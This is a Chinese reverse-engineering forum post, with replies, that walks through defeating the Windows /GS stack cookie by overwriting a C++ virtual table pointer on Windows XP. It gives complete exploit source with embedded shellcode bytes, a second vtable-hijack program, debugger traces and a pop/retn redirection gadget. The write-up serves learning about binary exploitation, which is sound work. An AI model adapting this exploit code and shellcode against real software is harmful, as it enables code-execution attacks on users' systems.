吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 17204|回复: 28
收起左侧

[调试逆向] 对抗GS之覆盖虚函数突破GS

[复制链接]
wnagzihxain 发表于 2016-4-21 00:54
本帖最后由 wnagzihxain 于 2016-5-3 00:11 编辑

环境:xp sp3
工具:OD,VS2015
写在最前面:这是微软一项用来防止栈溢出的保护机制,也就是在编译的时候在ss:[ebp-4]的位置根据两个参数异或生成Security Cookie然后函数返回的时候会还原出参数跟.data段的种子对比,相同则没有溢出,反之溢出
具体细节看这里:GS安全编译选项的保护原理

这篇会写的很详细,因为我觉得调试这节有一种最开始学习二进制的感觉,刺激!!!!!!
《0day2》提供的代码是这样的

1.png

我们观察一下,然后给下个断点

[C++] 纯文本查看 复制代码
// over_virtual.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "string.h"

class GSVirtual {
        public:
                void gsv(char * src)
                {
                        char buf[200];
                        strcpy(buf, src);
                        bar(); // virtual function call
                }
                virtual void  bar()
                {}
};

int main()
{

        GSVirtual test;
        __asm int 3
        test.gsv(
                "\x04\x2b\x99\x7C"
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90"
        );
        return 0;
}
VS的配置:禁用优化,开启GS,然后生成后咱们在虚拟机里面运行,断下附加OD

2.png

可以看到,push操作是把字符串的指针压栈,在数据区跟随一下可以看出来,我们单步走,遇到下面那个call跟进去

3.png

我们跟进来后可以看到生成Security Cookie的代码段,然后往下找可以看到校验Security Cookie的代码段

4.png

好了看完了Security Cookie部分,咱们来看看执行虚函数的部分,我们从代码可以看出来,执行了strcpy之后,就是执行虚函数,所以我们来看看执行虚函数的代码段

5.png

看完后我们先把这个放下,来看一个简单攻击虚函数的代码(为了更好理解虚函数整个调用过程),用VC编译就行了,同样在调用前下断点,然后附加上OD,注意观察寄存器的值

具体的调试过程在这:攻击C++虚函数

[C++] 纯文本查看 复制代码
#include "windows.h"
#include "iostream.h"
#include "cstdio"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xAC\xBA\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
        char buf[200];
        virtual void test(void)
        {
                cout<<"Class Vtable::test()"<<endl;
        }
};

Failwest overflow, *p;

int main(void)
{
        char * p_vtable;
        p_vtable=overflow.buf-4;//point to virtual table
        printf("%p %p\n",overflow.buf,overflow.buf-4);
        //__asm int 3
        p_vtable[0]=0x5C;
        p_vtable[1]=0xBB;
        p_vtable[2]=0x40;
        p_vtable[3]=0x00;
        strcpy(overflow.buf,shellcode);//set fake virtual function pointer
__asm int 3
        p=&overflow;
        p->test();
        return 0;
}


6.png

F8走

7.png

是不是没有看懂?

不急我们重新梳理一遍,来看一下代码,我们先不调试溢出什么的,我们就看虚函数是如何调用的?以及虚表指针到底放在哪里?

下面是我们要用到的代码,可以看到我把修改虚表指针的代码注释掉了,因为我们要是修改了虚表指针那么在调试的时候就会跳到shellcode

这里补充一下:


8.png

OD附加上,来到虚函数指针的地址指向的地方,可以看到0x004080C8是虚表指针

9.png

然后我们跟着走

10.png

先把虚表指针的地址赋值给ECX,在数据区标注的地方就是虚表指针的地址

接着单步走

11.png

把虚表指针传给EAX,此时EAX存的是虚表指针0x004080C8,也就是说,0x004080C8这个地址开始存的是虚函数的指针,继续单步走

12.png

根据EAX处的值取出虚函数的地址0x00401020进行调用,这里是直接调用函数指针

13.png

大概是明白了吧?

我再来总结一下:先是获取虚表指针的地址,然后根据虚表指针的地址获取虚表指针,获取到虚表指针后再获取虚函数指针,最后调用虚函数指针就行了

画个示意图

14.png

继续解释:我们先获取某地址,这个地址存的是虚表指针的地址,我们可以看到这次虚表指针的地址是0x0040BAA8

然后我们根据虚表指针的地址去获取虚表指针,可以看到虚表指针是0x004080C8,然后根据虚表指针来找虚函数指针

虚函数指针是0x00401020

然后我们来看看最开始被我们丢在一边的程序

我们重新载入给个特写

15.png

按照我们刚才的分析,把代码段复制下来解释一下

[Asm] 纯文本查看 复制代码
004012DD    8B85 24FFFFFF   mov     eax, dword ptr [ebp-DC];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 24FFFFFF   mov     ecx, dword ptr [ebp-DC]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数指针
004012ED    FFD0            call    eax;调用虚函数
突然发现最近阅读汇编能力蹭蹭蹭见长啊!!!!!!

那我们就走下来看看虚表指针在哪里

哎呀!!!!!!忘了这是溢出的代码了,不过没关系,不影响前面的分析,我们来修改一下代码先不要溢出,随意减小长度就行了

重新运行到这,可以看到此时的虚表指针是0x00411A4C

16.png

继续跟着走,找到虚函数指针,看寄存器EAX的值

17.png

虚函数指针是0x00401300,我们跳过去看看,这就是虚函数代码段

18.png

现在是完全的分析了一遍如何找到虚表指针的过程,以及各种细节,如果你还不是很懂,在纸上画一画就好了

我们来额外补充一点东西,我们写两个虚函数

19.png

可以在OD里面看到,这里是两处的虚函数调用

20.png

具体分析一下

[Asm] 纯文本查看 复制代码
004012DD    8B85 28FFFFFF   mov     eax, dword ptr [ebp-D8];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数的地址
004012ED    FFD0            call    eax;调用第一个虚函数
004012EF    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]; 获取虚表指针的地址
004012F5    8B11            mov     edx, dword ptr [ecx]; 获取虚表指针
004012F7    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8];
004012FD    8B42 04         mov     eax, dword ptr [edx+4];获取虚函数的地址
00401300    FFD0            call    eax调用第二个虚函数
好了补充完了,现在开始分析如何通过覆盖虚函数的方法来突破GS

标注的地方你应该很熟悉了

21.png

走完这一段,我们来观察一下栈的布局

[Asm] 纯文本查看 复制代码
0012FF5C   C09D019E  ?澙
0012FF60  /0012FF74  t?.
0012FF64  |00401356  V@.  返回到 over_vir.00401356 来自 over_vir.00401260
0012FF68  |00411A38  8A.  ASCII "Hello World!"
0012FF6C  |00411A4C  LA.  over_vir.00411A4C
0012FF70  |C09D018A  ?澙
0012FF74  ]0012FFC0  ?
看的出来Security Cookie吧?

然后,看到了虚表指针了吗?0x0012FF6C是虚表指针的地址

那么我们攻击的思路就是,先覆盖虚表指针,因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验

那我们就开始来定位缓冲区的起始位置,直接走完strcpy的代码段,这里我没有进行优化所以有点太直观啦ヾ(≧O≦)〃嗷~

22.png

算出中间的间隔大小后,我们来填充看看

23.png

精准覆盖!!!!!!

好了现在把栈的布局搞清楚了,我们重新修改一下代码,将我们加上的一个虚函数去掉

顺便带上《0day2》里的shellcode,注意这里我们还没有确定各种地址,先来看看具体的情况,然后再根据系统来修改

24.png

这时候我们会遇到一个问题,我们执行虚函数会call eax,执行了之后我们是回不到shellcode的,怎么办?

那我们就来梳理一下我们利用的思路:首先我们溢出,覆盖掉虚表指针,然后执行虚函数,这时候先取出虚表指针

到虚表指针指向的地方取出虚函数指针,也就是说,我们直接覆盖的虚表指针那个位置存的是shellcode起始地址,这里要理解!!!!!!

《0day2》里面说实话我是没有看懂,自己捣鼓了很久,好了假设你已经看懂了上面的,放心吧后面还会详细解释的ヾ(^▽^*)))

25.png

看,标注出来的是虚表指针0x00411A38,当然这是我已经找好的,在你的电脑上还需要手动确定一下

然后我们call的时候会执行0x7C992B11,这个是怎么确定的呢?

这就需要来观察一下栈了

26.png

这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址

也就是说,我们只要执行一个pop和retn,就可以跳到shellcode

我们F7单步走一下看看,这里我已经找好pop和retn了,所以直接能演示

27.png

看,我们在进入这个call的时候,堆栈压入了一个返回地址,按照上面的代码,一个pop把返回地址弹掉,然后retn到0x0012FE94

这个位置刚好是shellcode的起始位置,也就是说我们成功跳到了shellcode的空间了

来看看具体代码

28.png

《0day2》里面是通过结束符来修改最后两位,但是我这里的情况修改最后两位是不能实现的,所以具体情况还是要根据你的电脑进行修改

最后的效果

29.png

欢迎交流╭( &#65381;&#12610;&#65381;)&#1608; &#785;&#785;
主要记录二进制攻防的学习笔记和二进制漏洞的分析,各位多指教


最後的最後:您有不懂的地方請提出來,”牛逼啊“,”看看“之類的純屬回復攢積分的請不要回復,謝謝


免费评分

参与人数 3威望 +2 热心值 +3 收起 理由
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
菜鸟也想飞 + 1 谢谢@Thanks!
LOVE_TT + 1 好牛逼的样子 看在你写了这么多给你1分

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

xiziyunqi 发表于 2017-7-30 08:38
xiziyunqi 发表于 2017-7-29 22:53
"因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验" 这句话能解释一下吗?谢谢

明白了,不会校验函数,我本来理解成不会校验虚函数的GS了,而虚函数的GS不需要校验
xiziyunqi 发表于 2017-7-30 10:46
你好,"这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址",为什么栈顶刚好是我们shellcode的起始地址l ??有压栈操作吗??
Wa6600 发表于 2016-4-21 07:07
sinceret 发表于 2016-4-21 07:21
不明觉厉..................
wangqiustc 发表于 2016-4-21 09:50
来学习学习
天地无空 发表于 2016-4-21 12:50
感谢楼主分享
 楼主| wnagzihxain 发表于 2016-4-21 13:27
Wa6600 发表于 2016-4-21 07:07
不明觉厉..................

跟着试试,二进制的水平一定能提高很快
 楼主| wnagzihxain 发表于 2016-4-21 13:28
sinceret 发表于 2016-4-21 07:21
不明觉厉..................

跟着别人的调试贴自己试试,二进制攻防的水平能提高的很快
 楼主| wnagzihxain 发表于 2016-4-21 13:29

一起学习
 楼主| wnagzihxain 发表于 2016-4-21 13:29

一起交流二进制攻防
dahaodie 发表于 2016-4-21 13:39
遇事不懂,水一逼
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-6-2 13:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表